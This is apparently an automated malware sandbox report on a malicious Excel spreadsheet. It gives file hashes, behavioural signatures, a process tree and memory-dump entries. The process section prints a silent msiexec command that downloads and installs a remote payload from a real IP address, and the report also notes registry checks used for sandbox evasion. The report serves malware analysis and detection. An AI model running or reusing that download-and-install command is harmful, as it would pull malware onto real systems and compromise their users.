Analysis
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max time kernel
50s -
max time network
40s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
21-11-2020 16:02
Static task
static1
Behavioral task
behavioral1
Sample
20.06.2019_013.93.xls
Resource
win10v20201028
Behavioral task
behavioral2
Sample
20.06.2019_013.93.xls
Resource
win10v20201028
General
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Target
20.06.2019_013.93.xls
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Size
168KB
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MD5
50ff2a788c7ecc088e703cda874394cb
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SHA1
2755cb7a957bae5c543147ab3f403a2918e66e56
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SHA256
0e91e6e17f8c8e2f1ae29e13f116c8611cb7679607695eed355025295fb1999a
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SHA512
249321f005f5b0c0f3172009ec99c441c1830b11d923f557cea4e34587e7f76468d536e7fc2b302c52e07332fc9c959223e7eaa91f9be87cbb1434bf32ff74fd
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
msiexec.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3176 1028 msiexec.exe EXCEL.EXE -
Blacklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 14 1872 msiexec.exe -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 3176 msiexec.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1028 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 3176 msiexec.exe Token: SeIncreaseQuotaPrivilege 3176 msiexec.exe Token: SeSecurityPrivilege 1872 msiexec.exe Token: SeCreateTokenPrivilege 3176 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3176 msiexec.exe Token: SeLockMemoryPrivilege 3176 msiexec.exe Token: SeIncreaseQuotaPrivilege 3176 msiexec.exe Token: SeMachineAccountPrivilege 3176 msiexec.exe Token: SeTcbPrivilege 3176 msiexec.exe Token: SeSecurityPrivilege 3176 msiexec.exe Token: SeTakeOwnershipPrivilege 3176 msiexec.exe Token: SeLoadDriverPrivilege 3176 msiexec.exe Token: SeSystemProfilePrivilege 3176 msiexec.exe Token: SeSystemtimePrivilege 3176 msiexec.exe Token: SeProfSingleProcessPrivilege 3176 msiexec.exe Token: SeIncBasePriorityPrivilege 3176 msiexec.exe Token: SeCreatePagefilePrivilege 3176 msiexec.exe Token: SeCreatePermanentPrivilege 3176 msiexec.exe Token: SeBackupPrivilege 3176 msiexec.exe Token: SeRestorePrivilege 3176 msiexec.exe Token: SeShutdownPrivilege 3176 msiexec.exe Token: SeDebugPrivilege 3176 msiexec.exe Token: SeAuditPrivilege 3176 msiexec.exe Token: SeSystemEnvironmentPrivilege 3176 msiexec.exe Token: SeChangeNotifyPrivilege 3176 msiexec.exe Token: SeRemoteShutdownPrivilege 3176 msiexec.exe Token: SeUndockPrivilege 3176 msiexec.exe Token: SeSyncAgentPrivilege 3176 msiexec.exe Token: SeEnableDelegationPrivilege 3176 msiexec.exe Token: SeManageVolumePrivilege 3176 msiexec.exe Token: SeImpersonatePrivilege 3176 msiexec.exe Token: SeCreateGlobalPrivilege 3176 msiexec.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1028 EXCEL.EXE 1028 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE 1028 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1028 wrote to memory of 3176 1028 EXCEL.EXE msiexec.exe PID 1028 wrote to memory of 3176 1028 EXCEL.EXE msiexec.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\20.06.2019_013.93.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\msiexec.exemsiexec /q step1=commonl step2=files /i http://54.38.127.28/pm42⤵
- Process spawned unexpected child process
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/1028-0-0x00007FFC35800000-0x00007FFC35E37000-memory.dmpFilesize
6.2MB
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memory/1028-1-0x000002617ED5D000-0x000002617ED62000-memory.dmpFilesize
20KB
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memory/1028-2-0x000002617ED5D000-0x000002617ED62000-memory.dmpFilesize
20KB
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memory/1028-3-0x000002617ED5D000-0x000002617ED62000-memory.dmpFilesize
20KB
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memory/1028-4-0x000002617ED59000-0x000002617ED5D000-memory.dmpFilesize
16KB
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memory/1028-5-0x0000026179DF6000-0x0000026179E11000-memory.dmpFilesize
108KB
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memory/3176-7-0x0000000000000000-mapping.dmp
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memory/3176-8-0x000001AC26620000-0x000001AC26624000-memory.dmpFilesize
16KB